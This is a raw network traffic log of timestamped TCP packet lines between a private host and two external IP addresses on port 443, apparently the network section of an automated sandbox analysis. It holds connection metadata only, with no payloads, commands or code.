Dec 29, 2024 14:15:38.851550102 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.854907036 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.854922056 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.854995012 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.855010033 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.855220079 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.858124018 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.858139992 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.858192921 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.858207941 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.860910892 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.035964966 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.035993099 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.036120892 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.036149025 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.036395073 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.038384914 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.038400888 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.038465023 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.038480997 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.038557053 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.042237997 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.042256117 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.042330027 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.042345047 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.042442083 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.045479059 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.045495033 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.045562029 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.045577049 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.045649052 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.049381018 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.049396992 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.049460888 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.049475908 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.049547911 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.052649975 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.052668095 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.052752018 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.052776098 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.052936077 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.056221962 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.056240082 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.056305885 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.056324959 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.056407928 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.059406996 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.059422970 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.059489012 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.059505939 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.059586048 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.237138987 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.237165928 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.237308025 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.237348080 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.237632990 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.240266085 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.240283966 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.240346909 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.240362883 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.240443945 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.243469954 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.243485928 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.243571997 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.243586063 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.245887041 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.247369051 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.247384071 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.247443914 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.247457027 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.247498989 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.250582933 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.250597954 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.250703096 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.250715971 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.250751972 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.254285097 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.254303932 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.254388094 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.254404068 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.254419088 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.254442930 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.257426023 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.257441044 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.257499933 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.257514000 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.257544994 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.257560968 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.261327982 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.261344910 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.261426926 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.261444092 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.261487007 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.438690901 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.438747883 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.438797951 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.438826084 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.438843012 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.438865900 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.441289902 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.441315889 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.441354036 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.441366911 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.441390038 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.441406965 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.445199966 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.445230961 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.445269108 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.445283890 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.445313931 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.445333004 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.448390961 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.448415041 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.448472023 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.448484898 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.448509932 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.448525906 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.452279091 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.452301979 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.452358961 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.452373028 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.452414989 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.455615044 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.455646038 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.455687046 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.455703974 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.455723047 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.455743074 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.459183931 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.459211111 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.459258080 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.459270000 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.459290028 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.459311008 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.462348938 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.462369919 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.462410927 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.462423086 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.462446928 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.462466002 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.581809998 CET	443	49874	172.67.157.254	192.168.2.5
Dec 29, 2024 14:15:39.581911087 CET	443	49874	172.67.157.254	192.168.2.5
Dec 29, 2024 14:15:39.582066059 CET	49874	443	192.168.2.5	172.67.157.254
Dec 29, 2024 14:15:39.585937977 CET	49874	443	192.168.2.5	172.67.157.254
Dec 29, 2024 14:15:39.585956097 CET	443	49874	172.67.157.254	192.168.2.5
Dec 29, 2024 14:15:39.585992098 CET	49874	443	192.168.2.5	172.67.157.254
Dec 29, 2024 14:15:39.585998058 CET	443	49874	172.67.157.254	192.168.2.5
Dec 29, 2024 14:15:39.598140001 CET	49879	443	192.168.2.5	172.67.157.254
Dec 29, 2024 14:15:39.598242998 CET	443	49879	172.67.157.254	192.168.2.5
Dec 29, 2024 14:15:39.598346949 CET	49879	443	192.168.2.5	172.67.157.254
Dec 29, 2024 14:15:39.598639011 CET	49879	443	192.168.2.5	172.67.157.254
Dec 29, 2024 14:15:39.598675966 CET	443	49879	172.67.157.254	192.168.2.5
Dec 29, 2024 14:15:39.640172005 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.640214920 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.640280962 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.640307903 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.640324116 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.640347004 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.642832041 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.642848015 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.642916918 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.642941952 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.642988920 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.646734953 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.646754026 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.646830082 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.646845102 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.646888971 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.649924994 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.649941921 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.650015116 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.650032997 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.650078058 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.653794050 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.653814077 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.653909922 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.653923035 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.653966904 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.657059908 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.657077074 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.657149076 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.657159090 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.657202959 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.660701036 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.660716057 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.660782099 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.660792112 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.660835981 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.663867950 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.663882971 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.663960934 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.663969040 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.664012909 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.841646910 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.841675997 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.841748953 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.841783047 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.841800928 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.841830969 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.844311953 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.844332933 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.844391108 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.844405890 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.844448090 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.848177910 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.848200083 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.848283052 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.848295927 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.848337889 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.851412058 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.851428986 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.851497889 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.851509094 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.851552010 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.854571104 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.854588985 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.854655981 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.854666948 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.854825020 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.858544111 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.858561993 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.858661890 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.858674049 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.858719110 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.862131119 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.862147093 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.862207890 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.862216949 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.862258911 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.865580082 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.865596056 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.865662098 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:39.865674973 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:39.865715981 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.043462038 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.043488026 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.043545008 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.043577909 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.043596029 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.043617964 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.046145916 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.046169043 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.046212912 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.046241999 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.046256065 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.046279907 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.050045013 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.050062895 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.050122023 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.050148964 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.050195932 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.053246975 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.053267002 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.053313017 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.053339958 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.053354025 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.053378105 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.057127953 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.057145119 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.057200909 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.057226896 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.057270050 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.060476065 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.060491085 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.060584068 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.060611010 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.060679913 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.064002037 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.064023972 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.064089060 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.064115047 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.064157963 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.067202091 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.067219973 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.067281008 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.067307949 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.067353010 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.210752010 CET	49879	443	192.168.2.5	172.67.157.254
Dec 29, 2024 14:15:40.244899035 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.244926929 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.244992971 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.245026112 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.245040894 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.245064020 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.247848988 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.247868061 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.247925043 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.247948885 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.247967005 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.247987986 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.251013994 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.251029968 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.251077890 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.251100063 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.251116991 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.251137018 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.254945993 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.254961967 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.255029917 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.255054951 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.255095005 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.258117914 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.258133888 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.258198023 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.258222103 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.258239985 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.258263111 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.262022018 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.262037992 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.262111902 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.262137890 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.262177944 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.264964104 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.264980078 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.265055895 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.265083075 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.265099049 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.265120983 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.268909931 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.268934011 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.268970966 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.268994093 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.269011974 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.269035101 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.446240902 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.446274042 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.446363926 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.446412086 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.446433067 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.446460962 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.449214935 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.449234009 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.449337959 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.449362993 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.449430943 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.452389956 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.452414036 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.452487946 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:40.452512980 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:40.452557087 CET	49860	443	192.168.2.5	172.67.190.234
